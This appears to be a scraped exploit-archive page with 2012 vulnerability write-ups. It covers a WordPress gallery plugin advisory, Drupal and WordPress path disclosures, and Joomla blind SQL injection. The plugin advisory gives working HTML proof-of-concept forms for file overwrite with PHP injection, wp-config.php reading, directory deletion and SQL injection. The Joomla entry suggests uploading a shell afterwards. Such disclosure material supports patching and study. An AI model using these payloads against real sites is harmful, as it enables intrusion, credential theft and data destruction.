www.example.com/path/bbpress/topic.php?id[]=12&replies=3
 
Error : Warning: urlencode() expects parameter 1 to be string, array given in /Full/Path/Here on line 786
 
---------------------------------------------------
III - Directory Listing Vulnerability :
---------------------------------------------------
 
www.example.com/PATH/bbpress/bb-templates/kakumei/
www.example.com/PATH/bbpress/bb-templates/kakumei-blue/
 
# 1337day.com [2012-11-01]

(1003)

24Oct/121

WordPress GRAND Flash Album Gallery Plugin Multiple Vulnerabilities

Author: Janek Vind "waraxe"
Date: 24. October 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-94.html
 
 
Description of vulnerable target:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Try GRAND Flash Album Gallery - powerful flash & jQuery media content plugin.
It provides a comprehensive interface for handling image galleries, audio and
video. You can edit your media content the way you want: upload images, import
music and video, create photo gallery, music playlists, group pictures in
slideshow and add descriptions for each image, mp3 or video - GRAND FlAGallery
is the smart choice when showing the best of your product or describing in brief
any event.
 
http://codeasily.com/wordpress-plugins/flash-album-gallery/flag
http://wordpress.org/extend/plugins/flash-album-gallery/
 
Affected versions: 1.9.0, 2.0.0
 
 
###############################################################################
1. Arbitrary File Overwrite Vulnerability in "admin/skin_options.php"
###############################################################################
 
Reasons:
 1. Insecure use of "parse_str()"
 2. Uninitialized variable "$mainXML"
Attack vector: User-supplied POST parameters "settingsXML" and  "mainXML"
Precondition: Logged in as admin with "FlAG Change skin" privileges
 
 
Php script "admin/skin_options.php" line:
------------------------[ source code start ]----------------------------------
$settingsXML =  $settings.'/settings.xml';
 
$flashPost = file_get_contents("php://input");
// parse properties_skin
parse_str($flashPost);
 
if(isset($properties_skin) && !empty($properties_skin)) {
        $fp = fopen($settingsXML, "r");
        if(!$fp) {
                exit( "2");//Failure - not read;
        }
        while(!feof($fp)) {
                $mainXML .= fgetc($fp);
        }
        $fp = fopen($settingsXML, "w");
        if(!$fp)
                exit("0");//Failure
        $newProperties = preg_replace("|<properties>.*?</properties>|si", $properties_skin, $mainXML);
        fwrite($fp, $newProperties);
        fclose($fp);
        echo "1";//Save
------------------------[ source code end ]------------------------------------
 
As we can observe, php function "parse_str()" is used with user-supplied POST
parameters as argument. This is very dangerous coding style, because it's
possible to overwrite any variables set before this code line.
Attacker can overwrite variable "$settingsXML", which is used as path to the
file, being overwritten in next steps. So it's obvious, that attacker can choose
any files on remote system to be overwritten. Next interesting problem here is,
that variable "$mainXML" is uninitialized. It means, that attacker is able to
write any data to that variable, using the same "parse_str()", and as result,
arbitrary data can be written (prepended) to arbitrary file on remote system.
Attacker can utilize this vulnerability for injecting php code to existing files
on remote system, which ultimately leads to RCE (Remote Code Execution).
 
Test (file "wp-content/plugins/hello.php" must exist and be writable):
-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/skin_options.php"; method="post">
<input type="hidden" name="properties_skin" value="1">
<input type="hidden" name="settingsXML" value="../../hello.php">
<input type="hidden" name="mainXML" value="<?php phpinfo();?>">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------
 
Injected php code can be executed by following request:
 
http://localhost/wp342/wp-content/plugins/hello.php
 
 
###############################################################################
2. Arbitrary File Overwrite Vulnerability in "lib/constructor.php"
###############################################################################
 
Reasons:
 1. Insecure use of "parse_str()"
 2. Uninitialized variable "$mainXML"
Attack vector: User-supplied POST parameters "skin_name" and  "mainXML"
Preconditions:
 1. Logged in as admin with "FlAG Change skin" privileges
 2. "magic_quotes_gpc=off" for successful null-byte attacks
 3. PHP must be < 5.3.4 for successful null-byte attacks
 
 
Php script "lib/constructor.php" line 25:
------------------------[ source code start ]----------------------------------
$flashPost = file_get_contents("php://input");
// parse properties_skin
parse_str($flashPost);
$settingsXML =  str_replace("\\","/", dirname(dirname(dirname(__FILE__))).
     '/flagallery-skins/'.$skin_name.'/settings/settings.xml');
 
if(isset($properties_skin) && !empty($properties_skin)) {
        $fp = fopen($settingsXML, "r");
        if(!$fp) {
                exit( "2");//Failure - not read;
        }
        while(!feof($fp)) {
                $mainXML .= fgetc($fp);
        }
        $fp = fopen($settingsXML, "w");
        if(!$fp)
                exit("0");//Failure
        $newProperties = preg_replace("|<properties>.*?</properties>|si", 
             $properties_skin, $mainXML);
        if(fwrite($fp, $newProperties))
------------------------[ source code end ]------------------------------------
 
This vulnerability is similar to the previous case - main problem here is
insecure use of "parse_str()", which allows attacker to inject any data to
overwritten file by using variable "$mainXML". Different is path delivery method.
This time "$settingsXML" variable is set after use of "parse_str()", so it can't
be changed by attacker, as in previous case. Still, there is another vulnerable
user-supplied "POST" parameter "skin_name", which is used in pathname and can
be manipulated by attacker. By using directory traversal ("../") and null-byte
attack, it's possible for attacker to write arbitrary data, including php code,
to arbitrary files on remote system.
 
 
 
###############################################################################
3. Directory Structure Disclosure Vulnerability in "admin/ajax.php"
###############################################################################
 
Reason: Directory traversal
Attack vector: User-supplied POST parameter "dir"
Precondition: Logged in as admin with "FlAG Import folder" privileges
 
 
Php script "admin/ajax.php" line 238:
------------------------[ source code start ]----------------------------------
$dir = trailingslashit ( urldecode($_POST['dir']) );
 
 if( file_exists($root . $dir) ) {
  $files = scandir($root . $dir);
..
  foreach( $files as $file ) {
..
   if ( file_exists($root . $dir . $file) && $file != '.' && $file != '..' 
     && is_dir($root . $dir . $file) ) {
      echo "<li class=\"directory collapsed\"><a href=\"#\" rel=\"" .
        esc_html($dir . $file) . "/\">" . esc_html($file) . "</a></li>";
------------------------[ source code end ]------------------------------------
 
As we can see, user-supplied POST parameter "dir" is used in directory
scanning function without any sanitization. By using "../" character sequence
it is possible to utilize directory traversal and reveal the structure of
arbitrary directories (listing of subdirectories) on remote system.
 
Test (parameter "nonce" must be valid):
-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/wp342/wp-admin/admin-ajax.php?action=flag_file_browser&nonce=ce4b0a55d4"; method="post">
<input type="hidden" name="dir" value="../../../../../">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------
 
 
###############################################################################
4. Arbitrary File Disclosure Vulnerability in "admin/news.php"
###############################################################################
 
Reason: Directory traversal
Attack vector: User-supplied POST parameter "want2Read"
Precondition: Logged in as admin with "manage_options" privileges
 
 
Php script "admin/news.php" line 4:
------------------------[ source code start ]----------------------------------
if ( current_user_can('manage_options') ) {
  extract($_POST);
  $str = file_get_contents($want2Read);
  echo $str;
------------------------[ source code end ]------------------------------------
 
Test:
-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/news.php"; method="post">
<input type="hidden" name="want2Read" value="../../../../wp-config.php">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------
 
 
###############################################################################
5. Arbitrary Directory Deletion Vulnerability in "admin/skins.php"
###############################################################################
 
Reason: Directory traversal
Attack vector: User-supplied GET parameter "delete"
Preconditions:
 1. Logged in as admin with "FlAG Change skin" and "FlAG Delete skins" privileges
 
 
Php script "admin/skins.php" line 185:
------------------------[ source code start ]----------------------------------
if ( isset($_GET['delete']) ) {
        $delskin = $_GET['delete'];
        if ( current_user_can('FlAG Delete skins') ) {
                if ( $flag_options['flashSkin'] != $delskin ) {
                        $skins_dir = trailingslashit( $flag_options['skinsDirABS'] );
                        $skin = $skins_dir.$delskin.'/';
                        if(basename($skin) != 'flagallery-skins') {
                                if ( is_dir($skin) ) {
                                        if( flagGallery::flagFolderDelete($skin) ) 
------------------------[ source code end ]------------------------------------
 
 
Test (beware - directory "akismet" will be deleted):
 
http://localhost/wp342/wp-admin/admin.php?page=flag-skins&delete=../akismet
 
Result: "Skin '../akismet' deleted successfully".
 
If directory "akismet" existed before and was deletable by php, then it's gone.
 
 
###############################################################################
6. SQL Injection Vulnerability in "admin/ajax.php"
###############################################################################
 
Reason: Insufficient sanitization of user-supplied data
Attack vector: User-supplied POST parameter "form"
Precondition: Logged in as admin with "FlAG Manage gallery" privileges
 
 
Php script "admin/ajax.php" line 112:
------------------------[ source code start ]----------------------------------
function flag_save_album() {
..
 if(isset($_POST['form']))
   parse_str($_POST['form']);
 if($album_name && $album_id) {
..
 $result = $wpdb->query( "UPDATE $wpdb->flagalbum SET name = '{$name}', 
    categories = '{$galstring}' WHERE id = $album_id" );
------------------------[ source code end ]------------------------------------
 
 
 
Test: first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line
 
var $show_errors = false;
 
to the line below:
 
var $show_errors = true;
 
Next we can use html form below:
-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/wp342/wp-admin/admin-ajax.php?action=flag_save_album"; method="post">
<input type="hidden" name="form" value="album_name=1&album_id=waraxe">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------
 
Result:
 
WordPress database error: [Unknown column 'waraxe' in 'where clause']
UPDATE wp_flag_album SET name = '1', categories = '' WHERE id = waraxe
 
 
###############################################################################
7. SQL Injection Vulnerability in "admin/manage.php"
###############################################################################
 
Reason: Insufficient sanitization of user-supplied data
Attack vector: User-supplied POST parameter "description"
Precondition: Logged in as admin with "FlAG Manage gallery" privileges
 
 
Php script "admin/manage.php" line 332:
------------------------[ source code start ]----------------------------------
function update_pictures() {
..
 $description =         $_POST['description'];
..
 if ( is_array($description) ) {
  foreach( $description as $key => $value ) {
   $desc = $wpdb->escape($value);
   $wpdb->query( "UPDATE $wpdb->flagpictures SET description = '$desc'
      WHERE pid = $key");
------------------------[ source code end ]------------------------------------
 
 
Test: first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line
 
var $show_errors = false;
 
to the line below:
 
var $show_errors = true;
 
Next, we need Firefox Add-on "Tamper Data" for POST request manipulation.
Open gallery management page:
 
http://localhost/wp342/wp-admin/admin.php?page=flag-manage-gallery
 
Navigate to edit mode:
 
http://localhost/wp342/wp-admin/admin.php?page=flag-manage-gallery&mode=edit&gid=1
 
Activate "Tamper Data".
Click "Save changes" on webpage, "Tamper Data" triggers.
 
Add new POST parameter "description[waraxe]=test", click "OK".
Modified POST request will fly to the server and we can see SQL error:
 
WordPress database error: [Unknown column 'waraxe' in 'where clause']
UPDATE wp_flag_pictures SET description = 'test' WHERE pid = waraxe
 
 
###############################################################################
8. Directory Existence Disclosure Vulnerability in "facebook.php"
###############################################################################
 
Reason: Directory traversal
Attack vector: User-supplied GET parameter "f"
Precondition: None
Result: Attacker can detect the presence of directories on remote system
 
 
Php script "facebook.php" line 21:
------------------------[ source code start ]----------------------------------
if(isset($_GET['i'])) {
 $skin = '';
 if(isset($_GET['f'])){
  $skinpath = trailingslashit( $flag_options['skinsDirABS'] ).$_GET['f'];
  if(is_dir($skinpath))
   $skin = $_GET['f'];
..
$gids = $_GET['i'];
..
if($gids){
 echo flagShowFlashAlbum($gids, $name='Gallery', $width='100%', $height=$h, 
   $skin, $playlist='', $wmode='opaque', $linkto); ?>
------------------------[ source code end ]------------------------------------
 
Tests:
 
http://localhost/wp342/wp-content/plugins/flash-album-gallery/facebook.php?i=1&f=../../../wp-admin
http://localhost/wp342/wp-content/plugins/flash-album-gallery/facebook.php?i=1&f=../../../foobar
 
Result:
 
we can see different responses to existing and non-existent directories
 
 
###############################################################################
9. SQL Injection Vulnerability in "lib/shortcodes.php"
###############################################################################
 
Reason: Insufficient sanitization of user-supplied data
Attack vector: Shortcode parameter "orderby"
Precondition: Logged in as admin, editor or author (must be able to create
  or edit posts)
 
 
Php script "lib/shortcodes.php" line 19:
------------------------[ source code start ]----------------------------------
add_shortcode( 'flagallery', array(&$this, 'show_flashalbum' ) );
..
 function show_flashalbum( $atts ) {
   global $wpdb, $flagdb;
   extract(shortcode_atts(array(
    'gid'               => '',
..
    'order'             => '',
..
   } elseif($gid == "all") {
    if(!$orderby) $orderby='gid';
    if(!$order) $order='DESC';
    $gallerylist = $flagdb->find_all_galleries($orderby, $order);
------------------------[ source code end ]------------------------------------
 
Php script "lib/flag-db.php" line 76:
------------------------[ source code start ]----------------------------------
function find_all_galleries($order_by = 'gid', $order_dir = 'ASC', 
 $counter = false, $limit = 0, $start = 0, $exclude = 0) {
..
 $this->galleries = $wpdb->get_results( "SELECT SQL_CALC_FOUND_ROWS * 
   FROM $wpdb->flaggallery 
   ORDER BY {$order_by} {$order_dir} {$limit_by}", OBJECT_K );
------------------------[ source code end ]------------------------------------
 
Test:
 
Step1:
 
first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line
 
var $show_errors = false;
 
to the line below:
 
var $show_errors = true;
 
Step 2: insert following shortcode to the post:
 
[flagallery gid="all" orderby="waraxe"]
 
Step 3: Open webpage with previously created/modified post
 
Result: SQL error will be shown:
 
WordPress database error: [Unknown column 'waraxe' in 'order clause']
SELECT SQL_CALC_FOUND_ROWS * FROM wp_flag_gallery ORDER BY waraxe DESC
 
 
 
###############################################################################
10. Full Path Disclosure Vulnerability in multiple scripts
###############################################################################
 
Reasons: Direct request to php script triggers pathname leak in error message
Preconditions: PHP directive "display_errors=on"
Result: Information Exposure Through an Error Message
 
Tests:
 
http://localhost/wp342/wp-content/plugins/flash-album-gallery/widgets/widgets.php
 
Fatal error: Class 'WP_Widget' not found in
C:\apache_www\wp342\wp-content\plugins\flash-album-gallery\widgets\widgets.php on line 12
 
http://localhost/wp342/wp-content/plugins/flash-album-gallery/lib/shortcodes.php
 
Fatal error: Call to undefined function add_shortcode() in
C:\apache_www\wp342\wp-content\plugins\flash-album-gallery\lib\shortcodes.php on line 19
 
http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/tinymce/tinymce.php
 
Fatal error: Call to undefined function add_filter() in
C:\apache_www\wp342\wp-content\plugins\flash-album-gallery\admin\tinymce\tinymce.php on line 27
 
http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/ajax.php
 
Fatal error: Call to undefined function add_action() in
C:\apache_www\wp342\wp-content\plugins\flash-album-gallery\admin\ajax.php on line 3
 
http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/grab_meta.php
 
Fatal error: Class 'flagMeta' not found in
C:\apache_www\wp342\wp-content\plugins\flash-album-gallery\admin\grab_meta.php on line 2
 
http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/jgallery.php
 
Fatal error: Call to undefined function get_option() in
C:\apache_www\wp342\wp-content\plugins\flash-album-gallery\admin\jgallery.php on line 2
 
http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/media-upload.php
 
Fatal error: Call to undefined function add_filter() in
C:\apache_www\wp342\wp-content\plugins\flash-album-gallery\admin\media-upload.php on line 14
 
 
 
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
come2waraxe () yahoo com
Janek Vind "waraxe"
 
Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------

(772)

25Sep/120

Drupal 7.15 Path Disclosure

============================================================
Vulnerable Software: Drupal 7.15
Downloaded from: http://ftp.drupal.org/files/projects/drupal-7.15.tar.gz
Vuln Type: Path Disclosure
============================================================
Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
MYSQL:  5.5.27
============================================================
 
Drupal 7.15 is vulnerable to Path Disclosure.
 
My installation PATH is: 
C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\
 
 
Try Direct access and it will expose such information:
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.bare.database.php
 
 
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.bare.database.php on line 17
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.comments.database.php
 
Fatal error: Call to undefined function db_update() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.comments.database.php on line 2
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.filled.database.php
 
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.filled.database.php on line 26
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.forum.database.php
 
 
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.forum.database.php on line 7
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.locale.database.php
 
 
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.locale.database.php on line 7
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.menu.database.php
 
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.menu.database.php on line 2
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.node_type_broken.database.php
 
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.node_type_broken.database.php on line 2
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.translatable.database.php
 
 Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.translatable.database.php on line 7
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.trigger.database.php
 
 
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.trigger.database.php on line 6
 
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.upload.database.php
 
 
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.upload.database.php on line 3
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.user-no-password-token.database.php
 
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.user-no-password-token.database.php on line 2
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.user-password-token.database.php
 
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.user-password-token.database.php on line 2
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-7.field.database.php
 
 Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-7.field.database.php on line 8
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-7.trigger.database.php
 
 Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-7.trigger.database.php on line 8
 
==========================NO ONE AND NOTHING IS IDEAL======================================
 
 
 
SHOUTZ AND GREAT THANKS TO ALL MY FRIENDS:
===========================================================
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
secunia.com
securityhome.eu
exploitsdownload.com
exploit-db.com
to all Aa Team + to all Azerbaijan Black HatZ +
      *Especially to my bro CAMOUFL4G3.*
===========================================================
 
/AkaStep

(354)

2Sep/120

Joomla Component (com_icagenda) Blind SQLi/Path Disclosure

# Exploit Title: Joomla Component (com_icagenda) Blind SQLi/Path Disclosure . 
# Date: 31 August 2012
# Author: Dark-Puzzle (Souhail Hammou)
# Risk : Critical
# Version: All Versions
# Google Dork : N/A
# Category: Webapps/0day
# Tested on: Windows Xp Sp2 Fr .
# Gr337ings to : Inj3ct0r Team - Packetstormsecurity.org - Securityfocus.com - Jigsaw - Dark-Soldier ...
***************************************************************************************
Info :
 
Icagenda is a New Component for Event Management with a calendar module.
----------------------------------------------------
I - Blind SQL Injection Vulnerability 
----------------------------------------------------
 
	Vulnerability :
 
	"id" parameter in com_icagenda is prone to a Blind SQL Vulnerability . An attacker can retrieve & steal data by sending series of True and False Queries through SQL statements .
	Here the invisible content shows us that the target suffers from BSQLi .
 
	Example : 
 
	SITE/index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1 (True)
	SITE/index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2 (False)
 
	ADMIN PANEL : http://target/administrator
	Then you can upload your shell & enjoy the rest .
 
-----------------------------------------------------
II - Full Path Disclosure Vulnerability 
-----------------------------------------------------
	The Full path can be retrieved using Array method [] in ItemID & id Parameters .
 
	Examples :
 
        SITE/index.php?option=com_icagenda&view=list&layout=event&Itemid[]=107&id=1		
 
# Datasec Team

(375)

14Jul/120

WordPress all Version full Path Disclosure Vulnerability

####
# Exploit Title: WordPress all Version full Path Disclosure Vulnerability
# Author: KinG Of PiraTeS
# GooGle+ : http://goo.gl/5RVFv
# Facebook Profile: www.fb.me/cr4ck3d
# Facebeook Page : www.fb.me/serial.crack
# Facebeook Page : www.fb.me/Cars2Luxe
# E-mail: t5r@hotmail.com / cr4ck3d@offdr5cax.dz
# Web Site : www.1337day.com | www.inj3ct0rs.com
# Category:: webapps
# Google Dork: intext:"powered by WordPress"
# platform : php
# Vendor: http://www.wordpress.com/
# Version: all
# Security Risk : Low ( Only for inforamtion )
# Tested on: [Windows 7 Edition Intégrale 64bit ]
####
 
 
##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | * ------>  KinG Of PiraTeS * The g0bl!n <-------- * | 
# | ------------------------------------------------- < |
###
 
 
# 
 
==============
 
1)Exploit
=========
 
[~] P0c [~] :
============
 
Vuln file in :
 
http://Localhost/{Path}/wp-includes/registration-functions.php
 
 
[~] Vuln Code [~] :
 
---->
 
<?php
 
/**
 * Deprecated. No longer needed.
 
*
 
* @package WordPress
 
*/
_deprecated_file( basename(__FILE__), '2.1', null, __( 'This file no longer needs to be included.' ) );
 
?>
 
 
----->
 
There is no file to Call from the Function shown below
 
 
[~] D3m0 [~] :
=============
 
http://SITE/blog/wp-includes/registration-functions.php?nulled=1337day
 
=================================**Algerians Hackers**===============================================
# Greets To : 
    KedAns-Dz ,errajol ettayeb -> All Algerians Hackers & All My Friendz <-  , 
--> Hanixpo , Indoushka , Jago-dz ,saoucha , BriscO-Dz , Caddy-Dz & kalashinkov3
    Over-X , Kha&miX ,Ev!LsCr!pT_Dz , T0xic ,TrOon , Kondamne, Tn_Scorpion , ..others ?___? <---
   (exploit-id.com) , (inj3ct0rs.com) , (Sec4ever.com) , (h4ckforu.com) , (dz-root.com) ...
=====================================================================================================

(343)

14Jul/120

WordPress yet-another-photoblog plugin Full path disclosure Vulnerability

####
# Exploit Title: WordPress yet another photoblog plugin Full path disclosure Vulnerability
# Author: KinG Of PiraTeS
# Facebook Profile: www.fb.me/cr4ck3d
# Fcabeook Page : www.fb.me/serial.crack
# E-mail: t5r@hotmail.com / cr4ck3d@offdr5cax.dz
# Web Site : www.1337day.com | www.inj3ct0rs.com
# Category:: webapps
# Google Dork: inurl:/wp-content/plugins/yet-another-photoblog/
# platform : php
# Vendor: http://wordpress.org/extend/plugins/yet-another-photoblog/
# Version: all
# Security Risk : Low ( Only for inforamtion )
# Tested on: [Windows 7 Edition Intégrale 64bit ]
####
 
 
##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | * ------>  KinG Of PiraTeS * The g0bl!n <-------- * | 
# | ------------------------------------------------- < |
###
 
 
# 
 
1)Exploit
=========
 
[~] P0c [~] :
============
 
Vuln Upload file in :
 
./wp-content/plugins/yet-another-photoblog/tpl/edit_form_advanced_field_fileupload.tpl.php
 
http://localhost/wordpress/wp-content/plugins/yet-another-photoblog/tpl/edit_form_advanced_field_fileupload.tpl.php?=1337day.com
 
http://localhost/wp-content/plugins/yet-another-photoblog/tpl/edit_form_advanced_field_fileupload.tpl.php?=1337day.com

(366)